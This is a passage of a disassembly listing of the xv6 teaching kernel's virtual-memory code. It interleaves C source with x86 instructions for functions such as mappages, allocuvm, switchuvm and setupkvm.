00 add $0x1000,%ebx if((pte = walkpgdir(pgdir, a, 1)) == 0) 801063a5: 8b 45 e0 mov -0x20(%ebp),%eax 801063a8: b9 01 00 00 00 mov $0x1,%ecx 801063ad: 89 da mov %ebx,%edx 801063af: 8d 34 3b lea (%ebx,%edi,1),%esi 801063b2: e8 19 ff ff ff call 801062d0 <walkpgdir> 801063b7: 85 c0 test %eax,%eax 801063b9: 75 d5 jne 80106390 <mappages+0x30> pa += PGSIZE; } return 0; } 801063bb: 83 c4 1c add $0x1c,%esp return -1; 801063be: b8 ff ff ff ff mov $0xffffffff,%eax } 801063c3: 5b pop %ebx 801063c4: 5e pop %esi 801063c5: 5f pop %edi 801063c6: 5d pop %ebp 801063c7: c3 ret 801063c8: 83 c4 1c add $0x1c,%esp return 0; 801063cb: 31 c0 xor %eax,%eax } 801063cd: 5b pop %ebx 801063ce: 5e pop %esi 801063cf: 5f pop %edi 801063d0: 5d pop %ebp 801063d1: c3 ret panic("remap"); 801063d2: c7 04 24 a8 74 10 80 movl $0x801074a8,(%esp) 801063d9: e8 82 9f ff ff call 80100360 <panic> 801063de: 66 90 xchg %ax,%ax 801063e0 <deallocuvm.part.0>: // Deallocate user pages to bring the process size from oldsz to // newsz. oldsz and newsz need not be page-aligned, nor does newsz // need to be less than oldsz. oldsz can be larger than the actual // process size. Returns the new process size. int deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801063e0: 55 push %ebp 801063e1: 89 e5 mov %esp,%ebp 801063e3: 57 push %edi 801063e4: 89 c7 mov %eax,%edi 801063e6: 56 push %esi 801063e7: 89 d6 mov %edx,%esi 801063e9: 53 push %ebx uint a, pa; if(newsz >= oldsz) return oldsz; a = PGROUNDUP(newsz); 801063ea: 8d 99 ff 0f 00 00 lea 0xfff(%ecx),%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801063f0: 83 ec 1c sub $0x1c,%esp a = PGROUNDUP(newsz); 801063f3: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < oldsz; a += PGSIZE){ 801063f9: 39 d3 cmp %edx,%ebx deallocuvm(pde_t *pgdir, uint oldsz, uint newsz) 801063fb: 89 4d e0 mov %ecx,-0x20(%ebp) for(; a < oldsz; a += PGSIZE){ 801063fe: 72 3b jb 8010643b <deallocuvm.part.0+0x5b> 80106400: eb 5e jmp 80106460 <deallocuvm.part.0+0x80> 80106402: 8d b6 00 00 00 00 lea 0x0(%esi),%esi pte = walkpgdir(pgdir, (char*)a, 0); if(!pte) a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; else if((*pte & PTE_P) != 0){ 80106408: 8b 10 mov (%eax),%edx 8010640a: f6 c2 01 test $0x1,%dl 8010640d: 74 22 je 80106431 <deallocuvm.part.0+0x51> pa = PTE_ADDR(*pte); if(pa == 0) 8010640f: 81 e2 00 f0 ff ff and $0xfffff000,%edx 80106415: 74 54 je 8010646b <deallocuvm.part.0+0x8b> panic("kfree"); char *v = P2V(pa); 80106417: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 8010641d: 89 14 24 mov %edx,(%esp) 80106420: 89 45 e4 mov %eax,-0x1c(%ebp) 80106423: e8 c8 be ff ff call 801022f0 <kfree> *pte = 0; 80106428: 8b 45 e4 mov -0x1c(%ebp),%eax 8010642b: c7 00 00 00 00 00 movl $0x0,(%eax) for(; a < oldsz; a += PGSIZE){ 80106431: 81 c3 00 10 00 00 add $0x1000,%ebx 80106437: 39 f3 cmp %esi,%ebx 80106439: 73 25 jae 80106460 <deallocuvm.part.0+0x80> pte = walkpgdir(pgdir, (char*)a, 0); 8010643b: 31 c9 xor %ecx,%ecx 8010643d: 89 da mov %ebx,%edx 8010643f: 89 f8 mov %edi,%eax 80106441: e8 8a fe ff ff call 801062d0 <walkpgdir> if(!pte) 80106446: 85 c0 test %eax,%eax 80106448: 75 be jne 80106408 <deallocuvm.part.0+0x28> a = PGADDR(PDX(a) + 1, 0, 0) - PGSIZE; 8010644a: 81 e3 00 00 c0 ff and $0xffc00000,%ebx 80106450: 81 c3 00 f0 3f 00 add $0x3ff000,%ebx for(; a < oldsz; a += PGSIZE){ 80106456: 81 c3 00 10 00 00 add $0x1000,%ebx 8010645c: 39 f3 cmp %esi,%ebx 8010645e: 72 db jb 8010643b <deallocuvm.part.0+0x5b> } } return newsz; } 80106460: 8b 45 e0 mov -0x20(%ebp),%eax 80106463: 83 c4 1c add $0x1c,%esp 80106466: 5b pop %ebx 80106467: 5e pop %esi 80106468: 5f pop %edi 80106469: 5d pop %ebp 8010646a: c3 ret panic("kfree"); 8010646b: c7 04 24 46 6e 10 80 movl $0x80106e46,(%esp) 80106472: e8 e9 9e ff ff call 80100360 <panic> 80106477: 89 f6 mov %esi,%esi 80106479: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106480 <seginit>: { 80106480: 55 push %ebp 80106481: 89 e5 mov %esp,%ebp 80106483: 83 ec 18 sub $0x18,%esp c = &cpus[cpuid()]; 80106486: e8 f5 d1 ff ff call 80103680 <cpuid> c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010648b: 31 c9 xor %ecx,%ecx 8010648d: ba ff ff ff ff mov $0xffffffff,%edx c = &cpus[cpuid()]; 80106492: 69 c0 b0 00 00 00 imul $0xb0,%eax,%eax 80106498: 05 80 27 11 80 add $0x80112780,%eax c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 8010649d: 66 89 50 78 mov %dx,0x78(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064a1: ba ff ff ff ff mov $0xffffffff,%edx lgdt(c->gdt, sizeof(c->gdt)); 801064a6: 83 c0 70 add $0x70,%eax c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064a9: 66 89 48 0a mov %cx,0xa(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064ad: 31 c9 xor %ecx,%ecx 801064af: 66 89 50 10 mov %dx,0x10(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064b3: ba ff ff ff ff mov $0xffffffff,%edx c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064b8: 66 89 48 12 mov %cx,0x12(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064bc: 31 c9 xor %ecx,%ecx 801064be: 66 89 50 18 mov %dx,0x18(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801064c2: ba ff ff ff ff mov $0xffffffff,%edx c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064c7: 66 89 48 1a mov %cx,0x1a(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801064cb: 31 c9 xor %ecx,%ecx c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064cd: c6 40 0d 9a movb $0x9a,0xd(%eax) 801064d1: c6 40 0e cf movb $0xcf,0xe(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064d5: c6 40 15 92 movb $0x92,0x15(%eax) 801064d9: c6 40 16 cf movb $0xcf,0x16(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 801064dd: c6 40 1d fa movb $0xfa,0x1d(%eax) 801064e1: c6 40 1e cf movb $0xcf,0x1e(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 801064e5: c6 40 25 f2 movb $0xf2,0x25(%eax) 801064e9: c6 40 26 cf movb $0xcf,0x26(%eax) 801064ed: 66 89 50 20 mov %dx,0x20(%eax) pd[0] = size-1; 801064f1: ba 2f 00 00 00 mov $0x2f,%edx c->gdt[SEG_KCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, 0); 801064f6: c6 40 0c 00 movb $0x0,0xc(%eax) 801064fa: c6 40 0f 00 movb $0x0,0xf(%eax) c->gdt[SEG_KDATA] = SEG(STA_W, 0, 0xffffffff, 0); 801064fe: c6 40 14 00 movb $0x0,0x14(%eax) 80106502: c6 40 17 00 movb $0x0,0x17(%eax) c->gdt[SEG_UCODE] = SEG(STA_X|STA_R, 0, 0xffffffff, DPL_USER); 80106506: c6 40 1c 00 movb $0x0,0x1c(%eax) 8010650a: c6 40 1f 00 movb $0x0,0x1f(%eax) c->gdt[SEG_UDATA] = SEG(STA_W, 0, 0xffffffff, DPL_USER); 8010650e: 66 89 48 22 mov %cx,0x22(%eax) 80106512: c6 40 24 00 movb $0x0,0x24(%eax) 80106516: c6 40 27 00 movb $0x0,0x27(%eax) 8010651a: 66 89 55 f2 mov %dx,-0xe(%ebp) pd[1] = (uint)p; 8010651e: 66 89 45 f4 mov %ax,-0xc(%ebp) pd[2] = (uint)p >> 16; 80106522: c1 e8 10 shr $0x10,%eax 80106525: 66 89 45 f6 mov %ax,-0xa(%ebp) asm volatile("lgdt (%0)" : : "r" (pd)); 80106529: 8d 45 f2 lea -0xe(%ebp),%eax 8010652c: 0f 01 10 lgdtl (%eax) } 8010652f: c9 leave 80106530: c3 ret 80106531: eb 0d jmp 80106540 <switchkvm> 80106533: 90 nop 80106534: 90 nop 80106535: 90 nop 80106536: 90 nop 80106537: 90 nop 80106538: 90 nop 80106539: 90 nop 8010653a: 90 nop 8010653b: 90 nop 8010653c: 90 nop 8010653d: 90 nop 8010653e: 90 nop 8010653f: 90 nop 80106540 <switchkvm>: lcr3(V2P(kpgdir)); // switch to the kernel page table 80106540: a1 a4 54 11 80 mov 0x801154a4,%eax { 80106545: 55 push %ebp 80106546: 89 e5 mov %esp,%ebp lcr3(V2P(kpgdir)); // switch to the kernel page table 80106548: 05 00 00 00 80 add $0x80000000,%eax } static inline void lcr3(uint val) { asm volatile("movl %0,%%cr3" : : "r" (val)); 8010654d: 0f 22 d8 mov %eax,%cr3 } 80106550: 5d pop %ebp 80106551: c3 ret 80106552: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106559: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106560 <switchuvm>: { 80106560: 55 push %ebp 80106561: 89 e5 mov %esp,%ebp 80106563: 57 push %edi 80106564: 56 push %esi 80106565: 53 push %ebx 80106566: 83 ec 1c sub $0x1c,%esp 80106569: 8b 75 08 mov 0x8(%ebp),%esi if(p == 0) 8010656c: 85 f6 test %esi,%esi 8010656e: 0f 84 cd 00 00 00 je 80106641 <switchuvm+0xe1> if(p->kstack == 0) 80106574: 8b 46 08 mov 0x8(%esi),%eax 80106577: 85 c0 test %eax,%eax 80106579: 0f 84 da 00 00 00 je 80106659 <switchuvm+0xf9> if(p->pgdir == 0) 8010657f: 8b 7e 04 mov 0x4(%esi),%edi 80106582: 85 ff test %edi,%edi 80106584: 0f 84 c3 00 00 00 je 8010664d <switchuvm+0xed> pushcli(); 8010658a: e8 61 db ff ff call 801040f0 <pushcli> mycpu()->gdt[SEG_TSS] = SEG16(STS_T32A, &mycpu()->ts, 8010658f: e8 6c d0 ff ff call 80103600 <mycpu> 80106594: 89 c3 mov %eax,%ebx 80106596: e8 65 d0 ff ff call 80103600 <mycpu> 8010659b: 89 c7 mov %eax,%edi 8010659d: e8 5e d0 ff ff call 80103600 <mycpu> 801065a2: 83 c7 08 add $0x8,%edi 801065a5: 89 45 e4 mov %eax,-0x1c(%ebp) 801065a8: e8 53 d0 ff ff call 80103600 <mycpu> 801065ad: 8b 4d e4 mov -0x1c(%ebp),%ecx 801065b0: ba 67 00 00 00 mov $0x67,%edx 801065b5: 66 89 93 98 00 00 00 mov %dx,0x98(%ebx) 801065bc: 66 89 bb 9a 00 00 00 mov %di,0x9a(%ebx) 801065c3: c6 83 9d 00 00 00 99 movb $0x99,0x9d(%ebx) 801065ca: 83 c1 08 add $0x8,%ecx 801065cd: c1 e9 10 shr $0x10,%ecx 801065d0: 83 c0 08 add $0x8,%eax 801065d3: c1 e8 18 shr $0x18,%eax 801065d6: 88 8b 9c 00 00 00 mov %cl,0x9c(%ebx) 801065dc: c6 83 9e 00 00 00 40 movb $0x40,0x9e(%ebx) 801065e3: 88 83 9f 00 00 00 mov %al,0x9f(%ebx) mycpu()->ts.iomb = (ushort) 0xFFFF; 801065e9: bb ff ff ff ff mov $0xffffffff,%ebx mycpu()->gdt[SEG_TSS].s = 0; 801065ee: e8 0d d0 ff ff call 80103600 <mycpu> 801065f3: 80 a0 9d 00 00 00 ef andb $0xef,0x9d(%eax) mycpu()->ts.ss0 = SEG_KDATA << 3; 801065fa: e8 01 d0 ff ff call 80103600 <mycpu> 801065ff: b9 10 00 00 00 mov $0x10,%ecx 80106604: 66 89 48 10 mov %cx,0x10(%eax) mycpu()->ts.esp0 = (uint)p->kstack + KSTACKSIZE; 80106608: e8 f3 cf ff ff call 80103600 <mycpu> 8010660d: 8b 56 08 mov 0x8(%esi),%edx 80106610: 8d 8a 00 10 00 00 lea 0x1000(%edx),%ecx 80106616: 89 48 0c mov %ecx,0xc(%eax) mycpu()->ts.iomb = (ushort) 0xFFFF; 80106619: e8 e2 cf ff ff call 80103600 <mycpu> 8010661e: 66 89 58 6e mov %bx,0x6e(%eax) asm volatile("ltr %0" : : "r" (sel)); 80106622: b8 28 00 00 00 mov $0x28,%eax 80106627: 0f 00 d8 ltr %ax lcr3(V2P(p->pgdir)); // switch to process's address space 8010662a: 8b 46 04 mov 0x4(%esi),%eax 8010662d: 05 00 00 00 80 add $0x80000000,%eax asm volatile("movl %0,%%cr3" : : "r" (val)); 80106632: 0f 22 d8 mov %eax,%cr3 } 80106635: 83 c4 1c add $0x1c,%esp 80106638: 5b pop %ebx 80106639: 5e pop %esi 8010663a: 5f pop %edi 8010663b: 5d pop %ebp popcli(); 8010663c: e9 ef da ff ff jmp 80104130 <popcli> panic("switchuvm: no process"); 80106641: c7 04 24 ae 74 10 80 movl $0x801074ae,(%esp) 80106648: e8 13 9d ff ff call 80100360 <panic> panic("switchuvm: no pgdir"); 8010664d: c7 04 24 d9 74 10 80 movl $0x801074d9,(%esp) 80106654: e8 07 9d ff ff call 80100360 <panic> panic("switchuvm: no kstack"); 80106659: c7 04 24 c4 74 10 80 movl $0x801074c4,(%esp) 80106660: e8 fb 9c ff ff call 80100360 <panic> 80106665: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106669: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi 80106670 <inituvm>: { 80106670: 55 push %ebp 80106671: 89 e5 mov %esp,%ebp 80106673: 57 push %edi 80106674: 56 push %esi 80106675: 53 push %ebx 80106676: 83 ec 1c sub $0x1c,%esp 80106679: 8b 75 10 mov 0x10(%ebp),%esi 8010667c: 8b 45 08 mov 0x8(%ebp),%eax 8010667f: 8b 7d 0c mov 0xc(%ebp),%edi if(sz >= PGSIZE) 80106682: 81 fe ff 0f 00 00 cmp $0xfff,%esi { 80106688: 89 45 e4 mov %eax,-0x1c(%ebp) if(sz >= PGSIZE) 8010668b: 77 54 ja 801066e1 <inituvm+0x71> mem = kalloc(); 8010668d: e8 0e be ff ff call 801024a0 <kalloc> memset(mem, 0, PGSIZE); 80106692: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 80106699: 00 8010669a: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801066a1: 00 mem = kalloc(); 801066a2: 89 c3 mov %eax,%ebx memset(mem, 0, PGSIZE); 801066a4: 89 04 24 mov %eax,(%esp) 801066a7: e8 f4 db ff ff call 801042a0 <memset> mappages(pgdir, 0, PGSIZE, V2P(mem), PTE_W|PTE_U); 801066ac: 8d 83 00 00 00 80 lea -0x80000000(%ebx),%eax 801066b2: b9 00 10 00 00 mov $0x1000,%ecx 801066b7: 89 04 24 mov %eax,(%esp) 801066ba: 8b 45 e4 mov -0x1c(%ebp),%eax 801066bd: 31 d2 xor %edx,%edx 801066bf: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp) 801066c6: 00 801066c7: e8 94 fc ff ff call 80106360 <mappages> memmove(mem, init, sz); 801066cc: 89 75 10 mov %esi,0x10(%ebp) 801066cf: 89 7d 0c mov %edi,0xc(%ebp) 801066d2: 89 5d 08 mov %ebx,0x8(%ebp) } 801066d5: 83 c4 1c add $0x1c,%esp 801066d8: 5b pop %ebx 801066d9: 5e pop %esi 801066da: 5f pop %edi 801066db: 5d pop %ebp memmove(mem, init, sz); 801066dc: e9 5f dc ff ff jmp 80104340 <memmove> panic("inituvm: more than a page"); 801066e1: c7 04 24 ed 74 10 80 movl $0x801074ed,(%esp) 801066e8: e8 73 9c ff ff call 80100360 <panic> 801066ed: 8d 76 00 lea 0x0(%esi),%esi 801066f0 <loaduvm>: { 801066f0: 55 push %ebp 801066f1: 89 e5 mov %esp,%ebp 801066f3: 57 push %edi 801066f4: 56 push %esi 801066f5: 53 push %ebx 801066f6: 83 ec 1c sub $0x1c,%esp if((uint) addr % PGSIZE != 0) 801066f9: f7 45 0c ff 0f 00 00 testl $0xfff,0xc(%ebp) 80106700: 0f 85 98 00 00 00 jne 8010679e <loaduvm+0xae> for(i = 0; i < sz; i += PGSIZE){ 80106706: 8b 75 18 mov 0x18(%ebp),%esi 80106709: 31 db xor %ebx,%ebx 8010670b: 85 f6 test %esi,%esi 8010670d: 75 1a jne 80106729 <loaduvm+0x39> 8010670f: eb 77 jmp 80106788 <loaduvm+0x98> 80106711: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 80106718: 81 c3 00 10 00 00 add $0x1000,%ebx 8010671e: 81 ee 00 10 00 00 sub $0x1000,%esi 80106724: 39 5d 18 cmp %ebx,0x18(%ebp) 80106727: 76 5f jbe 80106788 <loaduvm+0x98> 80106729: 8b 55 0c mov 0xc(%ebp),%edx if((pte = walkpgdir(pgdir, addr+i, 0)) == 0) 8010672c: 31 c9 xor %ecx,%ecx 8010672e: 8b 45 08 mov 0x8(%ebp),%eax 80106731: 01 da add %ebx,%edx 80106733: e8 98 fb ff ff call 801062d0 <walkpgdir> 80106738: 85 c0 test %eax,%eax 8010673a: 74 56 je 80106792 <loaduvm+0xa2> pa = PTE_ADDR(*pte); 8010673c: 8b 00 mov (%eax),%eax n = PGSIZE; 8010673e: bf 00 10 00 00 mov $0x1000,%edi 80106743: 8b 4d 14 mov 0x14(%ebp),%ecx pa = PTE_ADDR(*pte); 80106746: 25 00 f0 ff ff and $0xfffff000,%eax n = PGSIZE; 8010674b: 81 fe 00 10 00 00 cmp $0x1000,%esi 80106751: 0f 42 fe cmovb %esi,%edi if(readi(ip, P2V(pa), offset+i, n) != n) 80106754: 05 00 00 00 80 add $0x80000000,%eax 80106759: 89 44 24 04 mov %eax,0x4(%esp) 8010675d: 8b 45 10 mov 0x10(%ebp),%eax 80106760: 01 d9 add %ebx,%ecx 80106762: 89 7c 24 0c mov %edi,0xc(%esp) 80106766: 89 4c 24 08 mov %ecx,0x8(%esp) 8010676a: 89 04 24 mov %eax,(%esp) 8010676d: e8 ee b1 ff ff call 80101960 <readi> 80106772: 39 f8 cmp %edi,%eax 80106774: 74 a2 je 80106718 <loaduvm+0x28> } 80106776: 83 c4 1c add $0x1c,%esp return -1; 80106779: b8 ff ff ff ff mov $0xffffffff,%eax } 8010677e: 5b pop %ebx 8010677f: 5e pop %esi 80106780: 5f pop %edi 80106781: 5d pop %ebp 80106782: c3 ret 80106783: 90 nop 80106784: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106788: 83 c4 1c add $0x1c,%esp return 0; 8010678b: 31 c0 xor %eax,%eax } 8010678d: 5b pop %ebx 8010678e: 5e pop %esi 8010678f: 5f pop %edi 80106790: 5d pop %ebp 80106791: c3 ret panic("loaduvm: address should exist"); 80106792: c7 04 24 07 75 10 80 movl $0x80107507,(%esp) 80106799: e8 c2 9b ff ff call 80100360 <panic> panic("loaduvm: addr must be page aligned"); 8010679e: c7 04 24 a8 75 10 80 movl $0x801075a8,(%esp) 801067a5: e8 b6 9b ff ff call 80100360 <panic> 801067aa: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 801067b0 <allocuvm>: { 801067b0: 55 push %ebp 801067b1: 89 e5 mov %esp,%ebp 801067b3: 57 push %edi 801067b4: 56 push %esi 801067b5: 53 push %ebx 801067b6: 83 ec 1c sub $0x1c,%esp 801067b9: 8b 7d 10 mov 0x10(%ebp),%edi if(newsz >= KERNBASE) 801067bc: 85 ff test %edi,%edi 801067be: 0f 88 7e 00 00 00 js 80106842 <allocuvm+0x92> if(newsz < oldsz) 801067c4: 3b 7d 0c cmp 0xc(%ebp),%edi return oldsz; 801067c7: 8b 45 0c mov 0xc(%ebp),%eax if(newsz < oldsz) 801067ca: 72 78 jb 80106844 <allocuvm+0x94> a = PGROUNDUP(oldsz); 801067cc: 8d 98 ff 0f 00 00 lea 0xfff(%eax),%ebx 801067d2: 81 e3 00 f0 ff ff and $0xfffff000,%ebx for(; a < newsz; a += PGSIZE){ 801067d8: 39 df cmp %ebx,%edi 801067da: 77 4a ja 80106826 <allocuvm+0x76> 801067dc: eb 72 jmp 80106850 <allocuvm+0xa0> 801067de: 66 90 xchg %ax,%ax memset(mem, 0, PGSIZE); 801067e0: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 801067e7: 00 801067e8: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 801067ef: 00 801067f0: 89 04 24 mov %eax,(%esp) 801067f3: e8 a8 da ff ff call 801042a0 <memset> if(mappages(pgdir, (char*)a, PGSIZE, V2P(mem), PTE_W|PTE_U) < 0){ 801067f8: 8d 86 00 00 00 80 lea -0x80000000(%esi),%eax 801067fe: b9 00 10 00 00 mov $0x1000,%ecx 80106803: 89 04 24 mov %eax,(%esp) 80106806: 8b 45 08 mov 0x8(%ebp),%eax 80106809: 89 da mov %ebx,%edx 8010680b: c7 44 24 04 06 00 00 movl $0x6,0x4(%esp) 80106812: 00 80106813: e8 48 fb ff ff call 80106360 <mappages> 80106818: 85 c0 test %eax,%eax 8010681a: 78 44 js 80106860 <allocuvm+0xb0> for(; a < newsz; a += PGSIZE){ 8010681c: 81 c3 00 10 00 00 add $0x1000,%ebx 80106822: 39 df cmp %ebx,%edi 80106824: 76 2a jbe 80106850 <allocuvm+0xa0> mem = kalloc(); 80106826: e8 75 bc ff ff call 801024a0 <kalloc> if(mem == 0){ 8010682b: 85 c0 test %eax,%eax mem = kalloc(); 8010682d: 89 c6 mov %eax,%esi if(mem == 0){ 8010682f: 75 af jne 801067e0 <allocuvm+0x30> cprintf("allocuvm out of memory\n"); 80106831: c7 04 24 25 75 10 80 movl $0x80107525,(%esp) 80106838: e8 13 9e ff ff call 80100650 <cprintf> if(newsz >= oldsz) 8010683d: 3b 7d 0c cmp 0xc(%ebp),%edi 80106840: 77 48 ja 8010688a <allocuvm+0xda> return 0; 80106842: 31 c0 xor %eax,%eax } 80106844: 83 c4 1c add $0x1c,%esp 80106847: 5b pop %ebx 80106848: 5e pop %esi 80106849: 5f pop %edi 8010684a: 5d pop %ebp 8010684b: c3 ret 8010684c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 80106850: 83 c4 1c add $0x1c,%esp 80106853: 89 f8 mov %edi,%eax 80106855: 5b pop %ebx 80106856: 5e pop %esi 80106857: 5f pop %edi 80106858: 5d pop %ebp 80106859: c3 ret 8010685a: 8d b6 00 00 00 00 lea 0x0(%esi),%esi cprintf("allocuvm out of memory (2)\n"); 80106860: c7 04 24 3d 75 10 80 movl $0x8010753d,(%esp) 80106867: e8 e4 9d ff ff call 80100650 <cprintf> if(newsz >= oldsz) 8010686c: 3b 7d 0c cmp 0xc(%ebp),%edi 8010686f: 76 0d jbe 8010687e <allocuvm+0xce> 80106871: 8b 4d 0c mov 0xc(%ebp),%ecx 80106874: 89 fa mov %edi,%edx 80106876: 8b 45 08 mov 0x8(%ebp),%eax 80106879: e8 62 fb ff ff call 801063e0 <deallocuvm.part.0> kfree(mem); 8010687e: 89 34 24 mov %esi,(%esp) 80106881: e8 6a ba ff ff call 801022f0 <kfree> return 0; 80106886: 31 c0 xor %eax,%eax 80106888: eb ba jmp 80106844 <allocuvm+0x94> 8010688a: 8b 4d 0c mov 0xc(%ebp),%ecx 8010688d: 89 fa mov %edi,%edx 8010688f: 8b 45 08 mov 0x8(%ebp),%eax 80106892: e8 49 fb ff ff call 801063e0 <deallocuvm.part.0> return 0; 80106897: 31 c0 xor %eax,%eax 80106899: eb a9 jmp 80106844 <allocuvm+0x94> 8010689b: 90 nop 8010689c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801068a0 <deallocuvm>: { 801068a0: 55 push %ebp 801068a1: 89 e5 mov %esp,%ebp 801068a3: 8b 55 0c mov 0xc(%ebp),%edx 801068a6: 8b 4d 10 mov 0x10(%ebp),%ecx 801068a9: 8b 45 08 mov 0x8(%ebp),%eax if(newsz >= oldsz) 801068ac: 39 d1 cmp %edx,%ecx 801068ae: 73 08 jae 801068b8 <deallocuvm+0x18> } 801068b0: 5d pop %ebp 801068b1: e9 2a fb ff ff jmp 801063e0 <deallocuvm.part.0> 801068b6: 66 90 xchg %ax,%ax 801068b8: 89 d0 mov %edx,%eax 801068ba: 5d pop %ebp 801068bb: c3 ret 801068bc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi 801068c0 <freevm>: // Free a page table and all the physical memory pages // in the user part. void freevm(pde_t *pgdir) { 801068c0: 55 push %ebp 801068c1: 89 e5 mov %esp,%ebp 801068c3: 56 push %esi 801068c4: 53 push %ebx 801068c5: 83 ec 10 sub $0x10,%esp 801068c8: 8b 75 08 mov 0x8(%ebp),%esi uint i; if(pgdir == 0) 801068cb: 85 f6 test %esi,%esi 801068cd: 74 59 je 80106928 <freevm+0x68> 801068cf: 31 c9 xor %ecx,%ecx 801068d1: ba 00 00 00 80 mov $0x80000000,%edx 801068d6: 89 f0 mov %esi,%eax panic("freevm: no pgdir"); deallocuvm(pgdir, KERNBASE, 0); for(i = 0; i < NPDENTRIES; i++){ 801068d8: 31 db xor %ebx,%ebx 801068da: e8 01 fb ff ff call 801063e0 <deallocuvm.part.0> 801068df: eb 12 jmp 801068f3 <freevm+0x33> 801068e1: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi 801068e8: 83 c3 01 add $0x1,%ebx 801068eb: 81 fb 00 04 00 00 cmp $0x400,%ebx 801068f1: 74 27 je 8010691a <freevm+0x5a> if(pgdir[i] & PTE_P){ 801068f3: 8b 14 9e mov (%esi,%ebx,4),%edx 801068f6: f6 c2 01 test $0x1,%dl 801068f9: 74 ed je 801068e8 <freevm+0x28> char * v = P2V(PTE_ADDR(pgdir[i])); 801068fb: 81 e2 00 f0 ff ff and $0xfffff000,%edx for(i = 0; i < NPDENTRIES; i++){ 80106901: 83 c3 01 add $0x1,%ebx char * v = P2V(PTE_ADDR(pgdir[i])); 80106904: 81 c2 00 00 00 80 add $0x80000000,%edx kfree(v); 8010690a: 89 14 24 mov %edx,(%esp) 8010690d: e8 de b9 ff ff call 801022f0 <kfree> for(i = 0; i < NPDENTRIES; i++){ 80106912: 81 fb 00 04 00 00 cmp $0x400,%ebx 80106918: 75 d9 jne 801068f3 <freevm+0x33> } } kfree((char*)pgdir); 8010691a: 89 75 08 mov %esi,0x8(%ebp) } 8010691d: 83 c4 10 add $0x10,%esp 80106920: 5b pop %ebx 80106921: 5e pop %esi 80106922: 5d pop %ebp kfree((char*)pgdir); 80106923: e9 c8 b9 ff ff jmp 801022f0 <kfree> panic("freevm: no pgdir"); 80106928: c7 04 24 59 75 10 80 movl $0x80107559,(%esp) 8010692f: e8 2c 9a ff ff call 80100360 <panic> 80106934: 8d b6 00 00 00 00 lea 0x0(%esi),%esi 8010693a: 8d bf 00 00 00 00 lea 0x0(%edi),%edi 80106940 <setupkvm>: { 80106940: 55 push %ebp 80106941: 89 e5 mov %esp,%ebp 80106943: 56 push %esi 80106944: 53 push %ebx 80106945: 83 ec 10 sub $0x10,%esp if((pgdir = (pde_t*)kalloc()) == 0) 80106948: e8 53 bb ff ff call 801024a0 <kalloc> 8010694d: 85 c0 test %eax,%eax 8010694f: 89 c6 mov %eax,%esi 80106951: 74 6d je 801069c0 <setupkvm+0x80> memset(pgdir, 0, PGSIZE); 80106953: c7 44 24 08 00 10 00 movl $0x1000,0x8(%esp) 8010695a: 00 for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 8010695b: bb 20 a4 10 80 mov $0x8010a420,%ebx memset(pgdir, 0, PGSIZE); 80106960: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) 80106967: 00 80106968: 89 04 24 mov %eax,(%esp) 8010696b: e8 30 d9 ff ff call 801042a0 <memset> if(mappages(pgdir, k->virt, k->phys_end - k->phys_start, 80106970: 8b 53 0c mov 0xc(%ebx),%edx 80106973: 8b 43 04 mov 0x4(%ebx),%eax 80106976: 8b 4b 08 mov 0x8(%ebx),%ecx 80106979: 89 54 24 04 mov %edx,0x4(%esp) 8010697d: 8b 13 mov (%ebx),%edx 8010697f: 89 04 24 mov %eax,(%esp) 80106982: 29 c1 sub %eax,%ecx 80106984: 89 f0 mov %esi,%eax 80106986: e8 d5 f9 ff ff call 80106360 <mappages> 8010698b: 85 c0 test %eax,%eax 8010698d: 78 19 js 801069a8 <setupkvm+0x68> for(k = kmap; k < &kmap[NELEM(kmap)]; k++) 8010698f: 83 c3 10 add $0x10,%ebx 80106992: 81 fb 60 a4 10 80 cmp $0x8010a460,%ebx 